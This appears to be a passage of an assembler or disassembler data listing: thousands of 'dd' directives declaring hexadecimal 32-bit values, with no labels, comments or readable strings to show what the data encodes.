dd 8E2D4600h, 0D2BE0566h, 0E8995B71h, 12EEE57Ch, 6337BE4Bh
dd 7E1D7F86h, 7B9E7880h, 80AAB665h, 53B039D7h, 5EB7575Ah
dd 1D985626h, 6E3CD6B5h, 9E4DECFh, 0B5A1EB0Eh, 0F15D0803h
dd 733ECE97h, 0E2B84ABCh, 0E3270C7Eh, 22005560h, 5E6A8ACAh
dd 963409Fh, 9F9A90B1h, 2935AD4h, 9A122BA8h, 2025C9A1h
dd 4A000130h, 0C98159CCh, 4A536338h, 954DE16Eh, 78622B9Ch
dd 747A8D25h, 387727Bh, 57FA0731h, 9CDF5BEAh, 0F142674h
dd 0A3B462B1h, 0A5BB9F41h, 97D7E93h, 0E82384BCh, 3612B60Fh
dd 0A7E840AFh, 0A24DD7C5h, 50049359h, 0EA17983Dh, 0D9C4C705h
dd 0EA100FF9h, 344817h, 24505E81h, 9FE6C14Eh, 9B039271h
dd 478D818h, 0F8A7600Ch, 488CFC5Eh, 5FFB1072h, 0BF780503h
dd 0D8D3B593h, 7BEDCAADh, 4E2CF938h, 16228EEBh, 76434E41h
dd 8467B668h, 0E086E8AEh, 954CEB68h, 0AB098A66h, 84172F75h
dd 5504D073h, 5D21BF54h, 603B838Dh, 0A76A0ABCh, 0D296386Fh
dd 755A9C32h, 0A25EAAFEh, 9B84C013h, 0CE211B39h, 70C82C59h
dd 66C711D5h, 19612093h, 0FA60EA31h, 4D28B8D6h, 0A95B1E78h
dd 0BB4C2641h, 22425D24h, 4899FEC5h, 9C1008D2h, 0A7C2040Dh
dd 626BF12Ah, 6083239h, 4B3FE406h, 0BE9EC0D4h, 0AA3F53A8h
dd 6E159607h, 2C6291EFh, 0F386E62Eh, 36C50604h, 89BA4F94h
dd 6B1AE186h, 0DBFE2012h, 0EA011785h, 0E92E31AAh, 22DDCADBh
dd 0FF6F4888h, 26B4A71h, 551B9D19h, 689DDAE6h, 9079A33h
dd 5B580ED8h, 96633102h, 89F68100h, 3A0A093Bh, 0AFD9F729h
dd 4DC4CCA5h, 662C7E96h, 0B359BAB2h, 6E440845h, 1B692BCAh
dd 9B56592Bh, 40ECCE3Ch, 56E0CE1h, 9361C1FAh, 0DEC99F89h
dd 58F05295h, 80030EAEh, 0DFF6E0C7h, 0E608E7C0h, 169DE7EFh
dd 0E9F8C240h, 7175C6h, 0C4F4133Ch, 522A6E29h, 0A45E0BE3h
dd 79120962h, 0E9611A7Eh, 7DC2A1AFh, 534724F1h, 0DFD690F2h
dd 0D4083AFBh, 10E121C9h, 0C7FC4A88h, 0C138C84h, 0B479825Eh
dd 0D76E2F5Fh, 5E9CE8B7h, 417D0B6Bh, 9AEE6C29h, 8CC95695h
dd 5B540554h, 5F6DE9Fh, 8831E868h, 6D3F6F0h, 2D46EB14h
dd 419277BEh, 0C5411192h, 4FEE2BFEh, 8C7EF7CEh, 0BF5A125Ah
dd 0AE3D2417h, 0C2CF2001h, 5AE30D71h, 48BAF366h, 0E4962F61h
dd 0E4E0D3F2h, 6809C677h, 0AFFC1E70h, 0A06AC578h, 0E9F89553h
dd 7EFE0C73h, 0A70C3361h, 30035E16h, 5A0511Ch, 13ECBF57h
dd 6501AEB3h, 18518A5h, 174DC070h, 4A20BA2Fh, 2C08EFC8h
dd 0B10A86C8h, 0C34A86ACh, 0B2B12ABh, 10784307h, 0B560D097h
dd 68C778FCh, 0A64E2EABh, 4A0B0E1Fh, 0EB83C5BDh, 159869CAh
dd 899D31E9h, 84CD5D33h
dd 2CAB5A13h, 8C41C48Eh, 0D4C98A6Ah, 7E531627h, 22E88FAh
dd 0ECCEDFB4h, 0CB5C20B9h, 0B37B89FCh, 68C192BDh, 4BBC64F4h
dd 7334FF95h, 0F0B142ACh, 18680010h, 0E169D58h, 72EA2D0Bh
dd 7228D7A0h, 20D12807h, 5758754Eh, 0D7917D5Bh, 94685541h
dd 8688352Fh, 44B769E8h, 31AA69C4h, 9DA0CE72h, 7F2C18AFh
dd 0B4312D46h, 0F67F029Ah, 10394949h, 2F517170h, 0E11E533Fh
dd 0B81220F6h, 8014D709h, 22F85D7Eh, 811B3439h, 0F63F3540h
dd 0F02FCF6Bh, 0D334E9D0h, 0D0FE596Ch, 0A8240FDFh, 490C2C60h
dd 171289E3h, 456072E9h, 0AA59CB21h, 5109E540h, 985078BCh
dd 25D6682Dh, 336841A6h, 0CD4C30BDh, 7CDB9CA0h, 0A5ACC5B5h
dd 1CBDC870h, 58C33197h, 39750B5Ch, 0D44004C3h, 91AB2CEBh
dd 7A94D72Bh, 0E0909F4Bh, 17A5BEB2h, 1C6D3836h, 0C69DBD5Bh
dd 10E6801Ch, 53768D4Ah, 7E5BB00h, 14E9E2B9h, 0BA9CC0DFh
dd 4E5F384Dh, 32F6817Ch, 7CEE3Bh, 0A0F21CC2h, 0BDD129E0h
dd 6A938C45h, 23E33B1h, 1ED837Bh, 0B0CF5ADFh, 6452B50Dh
dd 0D712C2BFh, 78A58A45h, 92D573A6h, 68D01F89h, 6376EE8Dh
dd 0D7E04AB7h, 4B7085E9h, 6224DC95h, 0CC7FCF87h, 92DA4B30h
dd 0F461D345h, 7EC3DBDh, 71DED622h, 5FF895B4h, 845EBD4Bh
dd 2D001C4Ch, 0AD185853h, 167B36DFh, 50BE6084h, 304E082Ah
dd 0A239E9C3h, 0F09DC0B2h, 0D09FFE2Ah, 0EB15B6C5h, 5B6905h
dd 18264F15h, 239EEC1h, 6E01B083h, 2CBC2E05h, 0FE4642h
dd 2F3B5C38h, 0DC5A19E9h, 0FC32CA4h, 7D6417E6h, 5E39F885h
dd 2C97828Ah, 8CF71E6Ch, 17FC4053h, 0EA183054h, 89A4E245h
dd 4C390CBDh, 8521EA9Dh, 42870C3h, 129C9E97h, 0AF9B85BEh
dd 0F2D20297h, 3524559Bh, 4747BC84h, 0C1C23D81h, 8B69200h
dd 9A3E514Bh, 8020444h, 571C45E9h, 7624B6E7h, 0F207CD35h
dd 7FA73138h, 0CD515F39h, 0FD94FDADh, 0E23F33B7h, 160B805Ah
dd 0B07F8331h, 11B5392Fh, 0F9932EBCh, 5BE7BE5Fh, 622FE909h
dd 683B3075h, 1F2662C5h, 6E5F1A07h, 1749578h, 428AACCFh
dd 280113B1h, 0B48BBFC8h, 5153D800h, 1E989B5h, 89EC714Ah
dd 2A69B9E0h, 0E946990Bh, 51FF41CFh, 0CAE220h, 0B94C9B61h
dd 0B3649E38h, 5ACBD69Fh, 0F806C2F5h, 1EE91823h, 0A689CFDh
dd 2A342755h, 3DF7C328h, 0E2DE87D2h, 4FE90D2Ch, 0FC3A3E9Ah
dd 2DB7D0F3h, 0E955B6Eh, 0AE1770B7h, 3F3DD32Dh, 293C92Ah
dd 0C6CA4DBFh, 5075311Eh, 0AD38B7F7h, 7C960EB5h, 9DD70C60h
dd 8DC49572h, 7F2F8290h, 0BB9259B6h, 0F4818220h, 67B820D0h
dd 6296071Fh, 0F809297h, 1C2FEE80h, 2F88B151h, 0F725D7C4h
dd 6DC4FD4Fh, 24CDF85Eh, 0F811E852h, 6EF9F72h, 0E4BBC08h
dd 86E9F82Ch, 5EB771D0h, 52EBE077h, 1C164A42h, 8501D301h
dd 4332042Ch, 3C8B40FAh, 0C646084h, 9F03B8Bh, 0A99FEFF6h
dd 902D70Eh, 0CE5F97F4h, 1F4E977Ch, 95184C97h, 61E98E90h
dd 6759BC5Fh, 687398AAh, 4BED8B9Fh, 53093CD1h, 506DFD54h
dd 0E92788A2h, 0F59CC9BDh, 7618F06Ah, 5A0354BEh, 92D98951h
dd 0C5DD7EC8h, 0A0E2AE5Bh, 1E8CC10h, 0B31562BAh, 31BF520Bh
dd 14D72B27h, 0C3ED07A4h, 0C329D415h, 0A181CCCDh, 96BC2F4Bh
dd 31E5E986h, 0D42CC280h, 8E207537h, 5DEF59D5h, 51DE8B82h
dd 0AD2C37F9h, 96435C82h, 0B94BC103h, 50512B87h, 462BF068h
dd 53BF5806h, 0CC882D7h, 0E92159E3h, 0D02A7832h, 1514355Dh
dd 5D907CB8h, 7553AC2Dh, 2608EE08h, 3CE105Bh, 0E62F68BBh
dd 0DF8DFA1Bh, 0A4A70DF1h, 45EA1CE0h, 0BA56581Bh, 66036DF6h
dd 5595352Dh, 68CC6ADh, 0E95DEA26h, 298EAAE2h, 95488382h
dd 12F658CBh, 0D9AD4C01h, 5EF729F5h, 3C6E083h, 0D5C031D1h
dd 0E4FD814Dh, 0EE4A9180h, 0F824CAE9h, 192C01C6h, 0F6D14942h
dd 2F92161h, 7E98ABACh, 0F15D72FFh, 0B5E8C8Eh, 0C06F5B0Ah
dd 31CD2590h, 0B63C96B3h, 0D8C367Bh, 0BD1DEA17h, 298F38AFh
dd 735D2FEBh, 0E15B230Fh, 5158C221h, 7F4BB9F8h, 5ABDA04Eh
dd 0AE0BD65Fh, 7D027CD2h, 0EE3E9CD0h, 0B52793C5h, 7017B1B6h
dd 3EFB8C41h, 7FB7745Ah, 0B9E95B83h, 1568670Bh, 9D93D173h
dd 0A49820B7h, 720F7009h, 922CF943h, 0E81FD85Bh, 549B852h
dd 70866855h, 0DFE94242h, 78227269h, 859A2407h, 79AD822Dh
dd 38414DCEh, 0A0177A2Dh, 2A6ED9EFh, 0FF96E6F9h, 784C062Bh
dd 0EEE91505h, 6CCCBFDEh, 0DE8D48A0h, 667105A0h, 68770F05h
dd 87307FA0h, 502DABFh, 0E7C16C4Dh, 0DF60F206h, 4BDA2EC5h
dd 7194E882h, 36BA7202h, 6725A082h, 0F9E95400h, 1B5BB76Ch
dd 58F5125h, 0FB170F68h, 0A345B969h, 0FBD02A0h, 0A052D30Dh
dd 0F757D746h, 3AE8E704h, 80FE5388h, 5D495633h, 1D59405Ch
dd 109241EDh, 0DD5F9C09h, 0FF16EAE5h, 42FE5985h, 5AD531A3h
dd 0C2432BE1h, 7880D455h, 5D974404h, 0E9398E9Eh, 9EE4CF10h
dd 0EB7353D1h, 56AB93DFh, 0C0E1C23Fh, 0B0B08E74h, 3E3CD335h
dd 0D9A72F0Eh, 0AA66C184h, 0D4B1B181h, 0F2F201D8h, 733CF75Eh
dd 422E020Ah, 0E1689E07h, 34327E8Ch, 0E90EC554h, 0F713BE6Ch
dd 0AA27337h, 0C88892F0h, 97D3ED36h, 7FA63A5Dh, 19BDA768h
dd 5C340613h, 0C613002h, 0E8B8806Ah, 956616E9h, 84693A7Bh
dd 0EDAA439Bh, 4DE9A115h, 55127378h, 0F07E1657h, 0B03B908h
dd 41658770h, 6B5DE151h, 0BF564893h, 0EE5A6E9Ah, 25E95A7Ch
dd 465DCC6Eh, 0D87527A8h, 14B22C59h, 4B974ECh, 983FA868h
dd 4A13729Eh, 0E7E078D9h, 0BB6D5E9Dh, 5FE2323Ch, 1D74EE42h
dd 4C680790h, 949A9D3Bh, 20DB8802h, 531960D7h, 7E8B01BBh
dd 41E97CB0h, 0FC846468h, 77025C13h, 7D21887h, 9E6ED40Ah
dd 0F8936A81h, 0E3BB4E77h, 0BC481092h, 0BE7A523Fh, 1E8C244Dh
dd 705747CFh, 6098C25Fh, 0CFFF7E55h, 6255A366h, 43E2801Eh
dd 9BF2970Bh, 9D6A64D3h, 3884AB5Dh, 0E2FEE549h, 9BF9F750h
dd 6109E9C1h, 0E5ADF87Eh, 6F154EADh, 0E6249215h, 2D521038h
dd 64D56047h, 203C2649h, 265402FCh, 3541720Dh, 0C88DC15h
dd 3D35E926h, 1AF0F7A2h, 0F5B4FD9Ah, 15CDF601h, 0B7400E42h
dd 0BED79D0h, 5BB3E925h, 31172945h, 0C1ECC2ABh, 781EFE5Dh
dd 754B63E9h, 27B3AF40h, 9BE23F3h, 8DB3F6Dh, 2DF750E2h
dd 0D7CC08D3h, 5AE9F687h, 0C1E302D2h, 0AD8605EDh, 7A9D1079h
dd 192D27ADh, 436BA4D4h, 543FE1A5h, 7C68F32Ah, 0F1289005h
dd 78F2EB01h, 0D76F607Bh, 56744BF5h, 964A727Bh, 0B4EA0D12h
dd 882E5CE9h, 70271347h, 71E27CCFh, 0A7ADA042h, 38F23752h
dd 2DEA9317h, 61B56AD1h, 4BB002B8h, 9180DA79h, 0BD65AB70h
dd 99140296h, 23FDE978h, 0F684C074h, 0C2811882h, 0ED26F589h
dd 9E37EB5Bh, 45741E61h, 8B63B06Ah, 6A0178B3h, 292A9928h
dd 0B85A7668h, 0B2C24F08h, 9F167DC1h, 0FBC24996h, 87BD00EBh
dd 2101F34Fh, 6EBEE581h, 7B31017Fh, 60074CD4h, 2140C2Ah
dd 0E912D76Ch, 9D14405h, 0F070495Dh, 0FE6613B2h, 89CB169h
dd 71FE453h, 884B0B41h, 22D24C3h, 2D8EAE57h, 0BB7CD84Bh
dd 97594040h, 0D6C209E5h, 0BE56001Fh, 9D015595h, 0AA6FBD04h
dd 342CFB62h, 9465ED5Ah, 343E16DCh, 21CB1A4Bh, 96B3538Ah
dd 0AC5D2CF4h, 9C98D49Fh, 9327C405h, 0BD801237h, 6C0111E3h
dd 50A71A10h, 5A5AA860h, 92DC70BCh, 2699FFC2h, 0F94F246Ch
dd 2C425BCBh, 0A0A31FE9h
dd 9E4FE8D3h, 0EDD12845h, 28AC09D5h, 0D700194Bh, 734054E3h
dd 52A55981h, 6FD59C8Bh, 0B908B272h, 4EB79140h, 6E1C107h
dd 0A41966E9h, 98AEDF18h, 2602CB55h, 0EF3144F8h, 0ECF4555Dh
dd 0B7055249h, 2A88A0FEh, 0E45525C8h, 0A3375E41h, 53551E8Dh
dd 8C6F4087h, 1EC05B64h, 5F6608D0h, 0BD4117B7h, 3AD8451Ah
dd 28AA2DAFh, 0ACCDC44Dh, 0FBED2418h, 3F0F0713h, 486C4F0Bh
dd 25749D42h, 91744A55h, 0E92508A0h, 5BD2C5h, 7CAFB850h
dd 0F0BF2258h, 0E89EE50Bh, 0A4BB5401h, 0CEE70103h, 0DB74D06Bh
dd 96FF0CCh, 76EF9B7h, 29DE0AC9h, 447A60F7h, 0EB2BE128h
dd 20CD9031h, 3F69450Ch, 0A2DB7580h, 77FC570Bh, 56971FE6h
dd 63627059h, 0C6BB10CFh, 0A8A88552h, 0D58174Ah, 5C296A90h
dd 50BD0110h, 988C7B64h, 7E7A0E81h, 0E6A05E4Fh, 483B402Dh
dd 0E7EA92A0h, 56DDA927h, 7AE18B8Dh, 0B895C2CBh, 84C05BBh
dd 0A3C2C3FCh, 1F010577h, 83F349DFh, 0BCBFFA46h, 3E96B575h
dd 53382D34h, 60163B85h, 28C33CBAh, 50E81BEh, 41175FF4h
dd 72DDB0Ah, 22ECC52Dh, 5C68189Eh, 0DBDD6F1Ch, 4207D6BFh
dd 80093E79h, 0CD3C9022h, 0D5F71F1Dh, 40B28B45h, 0B967145Ch
dd 509C05B1h, 0D9108A47h, 9BA0F62h, 18742638h, 2E015A81h
dd 0CA5FE650h, 40809A6h, 0A5F1C5E3h, 0D8559C2Eh, 57FA927Ch
dd 163EC993h, 718C76DEh, 0EF8A5ED3h, 0D7B4FF67h, 81BC34FEh
dd 2B73C179h, 2B52BD0h, 5C277FA0h, 0C6018FDEh, 48BF5AB9h
dd 0FF53E487h, 0E7136DFh, 6160E6D1h, 0A6791D80h, 2E04BC17h
dd 803FCD11h, 35BDF915h, 24243AE3h, 0DEE02B95h, 125F2C6Bh
dd 34E9014Ch, 80291A7Bh, 26AF160Ch, 90CE31ABh, 0CB0B9718h
dd 0C39D145Fh, 0EF9DE9FDh, 0F3F95D5Bh, 0F82D0601h, 7DE4DAD5h
dd 4A4D12E9h, 0FF13C8A3h, 0D652F8E0h, 5FD74BABh, 0DDD30B57h
dd 0D9B0C9B3h, 0BD2E8FB1h, 722FF189h, 1A684A62h, 32F31138h
dd 779E6109h, 18ABE79h, 8C17ECC8h, 0C2B6ECC0h, 0FBE195C0h
dd 0F980E9B1h, 0EEC1CC19h, 4D1F636h, 62C7700Eh, 0E9C3ACEh
dd 0F74DE67Fh, 5CB39D0h, 0F7509618h, 1B8BFF14h, 0D7C09D7Eh
dd 0AF2FF8F5h, 2E27BA1h, 94EAE9F3h, 3DF0FBD7h, 3716E395h
dd 68D4985Ah, 0FC48BD25h, 8D31C27Bh, 7C57A25Fh, 56640F37h
dd 0EF07A422h, 66E6331Eh, 7BC5DFD2h, 0D6A8D8AAh, 9950E8A2h
dd 0FBE75495h, 0B0BE9002h, 4011690Dh, 301B5639h, 0BD0C74E9h
dd 663E25C5h, 7A950D1h, 41946816h, 497E60AFh, 36903E2Ch
dd 6F7651B7h, 6AA8F192h, 0EBF539BCh, 7C847DB2h, 14E8107Eh
dd 45DE8882h, 0ADC6E4F4h, 0B040E398h, 17DC955Dh, 0F4E2D309h
dd 0F24BBCFDh, 246307A4h, 0B6B219F9h, 3A840949h, 75F30104h
dd 0A24079C9h, 48BB2956h, 5275F7Bh, 0F22F85F4h, 0EE120B9Bh
dd 10F5D0C7h, 2C2A8348h, 9C608021h, 1CF57D47h, 2552E054h
dd 2A032169h, 0FE4516BEh, 984A919Eh, 94BF25Ch, 761AEC60h
dd 0AE454E7Dh, 0DF57788h, 75D86856h, 6033EC3Eh, 5D0C2469h
dd 0EC0C042Ch, 66C82F17h, 80850FBh, 0BDBD4F50h, 18BC5CF6h
dd 0B8AFCB95h, 0DD7F0279h, 0C6895626h, 0D88455CAh, 5F5A9263h
dd 920C2DC7h, 4563C35Ch, 0F9F2653Bh, 7E2E78F0h, 0CB157E0Bh
dd 0C5C0FE03h, 1540EA87h, 0AA1E6205h, 0D0011413h, 0EC4B072Dh
dd 66017896h, 0E94375DEh, 926A7822h, 0F592C108h, 20BFB00h
dd 28BD7EB5h, 0A53E0829h, 0BDEDE1F2h, 9F42D7DAh, 0C6489CD2h
dd 5E8015BCh, 0A8E9095Dh, 85D9779Fh, 6B37C613h, 61157390h
dd 8EE917C4h, 19A2CC76h, 697D7200h, 28BFBD55h, 217407C6h
dd 0CBE7E9EBh, 12714677h, 1F64406h, 62B8C522h, 39B07BD6h
dd 536697C7h, 72E6D497h, 0E9172F94h, 0A6884094h, 0D8500B8h
dd 0EF3515FEh, 183BAC2Eh, 236F0F40h, 87E1B252h, 40B86430h
dd 2905D72h, 12669B0Fh, 5A42857Bh, 87FF9C8h, 120EF7Ah
dd 0E92508A0h, 95CCD806h, 77FA65FEh, 812004EEh, 0B56096Ch
dd 0E2481FAEh, 0DD2748B2h, 68327761h, 8280C0Dh, 0F1B15F1Ch
dd 5E66273Dh, 2974721Ch, 0C061B780h, 2C5006E7h, 13694CB0h
dd 585F266h, 4EE668C8h, 2FC441BCh, 0E2F9BB91h, 0BD11AEF5h
dd 3BA05C1h, 0A7C3CF0Dh, 4E23DE35h, 2DAEFCF3h, 5F0D258h
dd 3F4E9EE5h, 6C7BC331h, 95A2A80h, 3C59CD31h, 0AE504633h
dd 7815B2E7h, 0DFF72499h, 69F2C1Ah, 0C5DDE1Ah, 729D890Bh
dd 1884DFC1h, 0F075E1E6h, 0C20E35D8h, 0A15D9B0Dh, 0F2ADC41Ch
dd 0A8F0E13Fh, 80B0E506h, 0C6707362h, 8234542Ah, 0D337ECBh
dd 68AC1F60h, 7250302Fh, 45088312h, 8A6A141Ch, 2047409h
dd 38E94EF6h, 955C94A0h, 8CD321DCh, 0B15EE1D3h, 0F32AF1C4h
dd 50D71088h, 0CB010748h, 290BFE56h, 0B848F4DAh, 55AEBBA8h
dd 0E4540D26h, 22F40613h, 678465EFh, 89A7B8FBh, 514CF02Dh
dd 4C479A5Ah, 28341DC1h, 954C55E2h, 91BEF2D2h, 7B1807h
dd 0E615C780h, 6016CEFh, 0E92DDFEAh, 0DDE003Bh, 0CBA412BFh
dd 227F3D6Ch, 0EC446642h, 987E20A8h, 0F4659276h, 0DAAE531Dh
dd 82B65A84h, 79E95604h, 0BEB132Fh, 0DA84F268h, 0D9200719h
dd 65D2AE74h, 0AA507F2Dh, 0E75E9AF4h, 702160B5h, 0D661BC02h
dd 496E9EB9h, 0E9007921h, 30667ED5h, 2212E910h, 4DD7FB4Ah
dd 0F55508A2h, 0BE26B14Dh, 0ABB86F12h, 34CEDEA1h, 370C35FAh
dd 0D6531C56h, 47781839h, 43CD0C21h, 536FA326h, 0CB168E28h
dd 6E00691Ch, 867B65C1h, 0D1F73066h, 92DBFE10h, 5F292127h
dd 0EB504796h, 538E92Dh, 3CFF4E45h, 0F54DD283h, 1C4C9EBFh
dd 2F6C538h, 164B4140h, 0E160DEF7h, 29276525h, 3E44D7F0h
dd 551A9337h, 5438F8C9h, 3988C86Dh, 0C69252CAh, 966B950h
dd 0C4665A58h, 680212C1h, 4BB9F8F9h, 38E076AEh, 0E64ECC72h
dd 6DBEDA61h, 0C293AF25h, 0A2C9EC89h, 0CB98F465h, 981F965Dh
dd 519F02A1h, 0D92949D1h, 3FDB90E0h, 0C2448D28h, 0E3484201h
dd 8EC98140h, 807AC3E9h, 233B9ED1h, 1DC1051h, 3E7EC488h
dd 1530BEC0h, 32C1A02Fh, 5455124Ch, 4404EE09h, 851DC625h
dd 0E337C468h, 22670495h, 35F01279h, 0ED8625DDh, 0A669E577h
dd 0DD13492Eh, 0C77153F2h, 59184889h, 676E910h, 64E4F7F2h
dd 25C49795h, 0C2C5D77Ch, 23CDA8D0h, 2AE9FA33h, 1CBE4CEh
dd 0B30430EAh, 3BD30103h, 616BDC2Dh, 2E940D74h, 90685B2h
dd 4805B413h, 8D2EDC95h, 7A2477C5h, 0E380BE80h, 2F50B745h
dd 210206CFh, 0D8309EC3h, 94D6BE43h, 0AB535E04h, 0FC4FD1A3h
dd 30BCB1D9h, 9CB7213Bh, 6C05052Dh, 0B6EBEA8Bh, 858B5057h
dd 39F95817h, 2AD96C07h, 5454C93h, 0CED3DA0Eh, 68F5BBC4h
dd 0FC5D842Bh, 2C2B408h, 25D5D44Ch, 0E5881973h, 0BC561221h
dd 95E8462h, 25FDE2EFh, 0D5A0421Dh, 5F4B03BCh, 4A0F8BBEh
dd 1F191DE9h, 0DDE0FF6Fh, 0EF316E40h, 48CD6858h, 0AF103926h
dd 0D9E9093Ch, 0E9D9A958h, 0B845446h, 98615568h, 32071D79h
dd 0CE812CCDh, 1B361963h, 6CD7997Ch, 526653B0h, 0B6EB63Ah
dd 854DD268h, 0FA49F02Ch, 41E332FCh, 0F1EDE631h, 0C339BA2Bh
dd 40055560h, 0BA12669Fh, 0BCE057A1h, 93314BFEh, 8D42CE8h
dd 52578CE8h, 0EC16C2Eh, 2D5F281h, 83EA0A87h, 0D789E24Ch
dd 0F8216760h, 68F03EF9h, 0E90209E8h, 52D1AEB0h, 645A925h
dd 5CFAFC2Ah, 73201135h, 60A5BE05h, 16AF55A4h, 7B88B84Fh
dd 0BABD3164h, 0FB78D5EFh
dd 0E23B34A1h, 92F94E85h, 0A177E917h, 0FCE73A70h, 4B90ABD7h
dd 0B3772D68h, 354A020Eh, 6A4013B9h, 27006E84h, 0A3D2BF34h
dd 972947E0h, 0B0D3D879h, 247835EDh, 840916h, 7BE11D6Fh
dd 0E912FD01h, 7BFC366Ah, 419E1A1h, 0E2A733E8h, 4446A1ABh
dd 54505F12h, 0D63BA6BBh, 75F84304h, 5B4A8EBEh, 68A15AFCh
dd 0AC303F15h, 0DC62B450h, 1BC2EF46h, 60DC42FFh, 25AD3A1Ah
dd 47D8FF5h, 0A301DA2Fh, 9272C67Fh, 5542A920h, 0F75B5AF0h
dd 0F600A6FBh, 885352D0h, 0AA2BE5C3h, 0F8E0F849h, 81799D5Ah
dd 47A12E97h, 889AA36Eh, 4409080Ch, 310FB70Bh, 3420B29Fh
dd 8CE84AEFh, 3204D87Ah, 0CD814D82h, 0CDCC1ABh, 3AA27F56h
dd 798528C1h, 4940E2B2h, 7FC9687Eh, 0E9EBF0D1h, 13F5CED9h
dd 0BAB5856Eh, 95DEE388h, 38FC9AD5h, 0B79D25F5h, 0F78F6AFCh
dd 601B49DBh, 97F8304Bh, 7769B979h, 9C89B88h, 0FBFA36B2h
dd 62166809h, 7F6B7855h, 212CFD59h, 52643503h, 23D12709h
dd 0AB896E4Ch, 0C731BB2Bh, 1C8179F5h, 0A87844BDh, 49C23B0Dh
dd 2F72DC63h, 0B783167Dh, 0CFBAE670h, 0EE551C00h, 0F1CABA03h
dd 0F1C55F76h, 20973FDFh, 8CBA33E4h, 0C85188AAh, 0E57920FEh
dd 0A74E1BD2h, 70614426h, 0A45A5DFDh, 4D41F2B7h, 1A9FBC7Ah
dd 0FC39DC5Ch, 32C05A39h, 0E9802580h, 27F0BE48h, 0A8554D70h
dd 9AE9EF9Fh, 28D02F87h, 243898BDh, 2D820B8h, 41B2336Ch
dd 575EA886h, 752CD81Eh, 0C04A2A4Ah, 0C051AC40h, 58B1C92Eh
dd 84DD4D55h, 0AB54F6E9h, 0F52D2A49h, 74A19449h, 0C604FE17h
dd 2807F680h, 13769E86h, 0C58FE953h, 2F3E9967h, 0DC1C49EBh
dd 5F97B0D0h, 1CA0681Eh, 9800217h, 0CB28EED0h, 0EBF05EA3h
dd 6B253128h, 4D50AF0Bh, 12F55038h, 514EC013h, 0F5E77049h
dd 0FAF0953Ah, 0EA127F56h, 0A04B02B9h, 0EB7F15Dh, 0D46CE996h
dd 5AC0721Bh, 0F9B76A60h, 0F6803F55h, 7A8FFBBBh, 16B8F229h
dd 0F141242Dh, 33878B99h, 35A6DC54h, 0DA4E6B02h, 537EE178h
dd 0F57E5FC2h, 0DF185D52h, 0EB0B7ABEh, 80D9F70Ah, 5929E9BEh
dd 0FDE14B5Ah, 5D981082h, 7C129748h, 912DAA2Dh, 9BE9B250h
dd 3BB8B23Ch, 2C74A9BDh, 25ADEA31h, 0C6272C77h, 53994BF3h
dd 7C3EB999h, 589F549Dh, 0B29DB08Dh, 3C830435h, 2708CAABh
dd 8B5A626Ch, 0C04E7702h, 4E31AB20h, 5FACB58h, 124819D6h
dd 500E23E8h, 0EE803A7Ch, 62C37655h, 0A4CE2928h, 2E590881h
dd 0C95135D7h, 42BD7CBh, 0A949686Fh, 8BBF4B96h, 90E25E07h
dd 54F9E9C5h, 4F187C89h, 0AEEDDF73h, 77C53001h, 0D3F7DD87h
dd 0F0F08ACh, 70CB285Bh, 30DA1100h, 0CAEC6777h, 0D09E409h
dd 80E6543Eh, 0CF1DAEC2h, 849D29EEh, 17AB8BEDh, 0B575AB3Bh
dd 8AE9F2FFh, 818F9A11h, 605AC2C3h, 8E06142h, 0BFC0AF62h
dd 8DD95C86h, 0C2A9294Bh, 886CD8CBh, 1B02B14Ah, 5707E7C0h
dd 0B60E5516h, 87C780D1h, 0EF57F728h, 8279DF99h, 9852EE63h
dd 6E28B4C6h, 0E9A210FEh, 18DF4B83h, 88BE3C09h, 2BD5EF3h
dd 98D921C9h, 8157514Ch, 0CFF7FE54h, 72688433h, 1273F36Eh
dd 72AE17FCh, 0A077C6A7h, 0E14CF1F6h, 1CB13B8h, 0B11DACCAh
dd 6B2248BEh, 630E092h, 0D2DE2825h, 401A9D38h, 0ADF45C5Fh
dd 0EF9727D6h, 0F85E2509h, 0D0F712CDh, 9F7CA148h, 95C4050Ch
dd 1D806AD1h, 5AD754B9h, 892504Eh, 4C7FE650h, 2894663h
dd 49C78600h, 4C980FE7h, 8FD4E10Ch, 9DF0E23Ch, 85FC659Ch
dd 6EFFE37Eh, 6CA87AB8h, 0CF1D7860h, 26F10C3Eh, 7C74F79h
dd 713750A0h, 2AFB35E9h, 54514522h, 1159186Ah, 69B94D5Dh
dd 1D17A9C0h, 18819244h, 0A17FCB68h, 0FB20D41h, 25CCCD58h
dd 0E5B275DDh, 0E3FDFD09h, 5C8A8948h, 90CB303Ch, 202A744Ch
dd 78B7104Ch, 57440E4h, 9032DABDh, 54102F80h, 68E5DB5Eh
dd 30B69C31h, 5703A929h, 290B3151h, 78CBB6E5h, 907CC303h
dd 41F9012Ah, 0C8008AAh, 71C52E9Ch, 43626968h, 68ECB259h
dd 1E13B333h, 0D749EB80h, 5B8EC2F0h, 0F23620FFh, 97BC3C64h
dd 0F7A59ADAh, 0E9CD98AFh, 6265F527h, 1E00EA3Ah, 58F381D3h
dd 2516B8F8h, 0B7C21CE9h, 0F58892DFh, 9C4FFBCh, 0A7D33FE9h
dd 0F61B1ACh, 4BE867A8h, 54272871h, 5B7FE8A2h, 0D2680417h
dd 0F3F7CD47h, 0D01D55C9h, 0BECD505Eh, 42604C70h, 972C7A0Ah
dd 1F4EEB60h, 259C8082h, 5597422h, 5A6E0D32h, 9D94C10Eh
dd 0DCD12ABAh, 0AD3A7DF5h, 0D4229991h, 0F3F75D02h, 2B030979h
dd 6A5AC8FCh, 787A7424h, 5D53AA68h, 9B2D78C4h, 6B3CF431h
dd 94FB9C55h, 0FB6796AAh, 0E868CE30h, 0BC969178h, 94600B00h
dd 0E2D15A7Dh, 0E9DAF709h, 0FD4443E7h, 95898FB4h, 0C6C9A0DEh
dd 207AFF51h, 8F14E9C3h, 5AAC769Fh, 97EA3B48h, 4DF67116h
dd 0F59AF609h, 3E2A1644h, 0C125CD49h, 0C979C0AEh, 0E02BF173h
dd 0FDE8CB22h, 3A9F5862h, 6AED5534h, 536DE906h, 0B9BB042Ah
dd 0AE2FAAEEh, 4FAC3585h, 4030E982h, 0F5810C76h, 3FF0140Ah
dd 672DAB3Bh, 1720AF3Eh, 0E127A668h, 4678BB2Fh, 0BBEA9ECBh
dd 6CB7E51Bh, 77E957B3h, 840D4117h, 3F75255Ah, 2EA4985h
dd 0D03158A9h, 7AC5E591h, 7FF914D2h, 7B2F4860h, 0A5740228h
dd 3BB5CE20h, 0B92C831h, 1008AD5Fh, 0CE40773Fh, 94525BCDh
dd 45F18047h, 73600259h, 78105B0Ch, 2D8DA41Bh, 53CC5247h
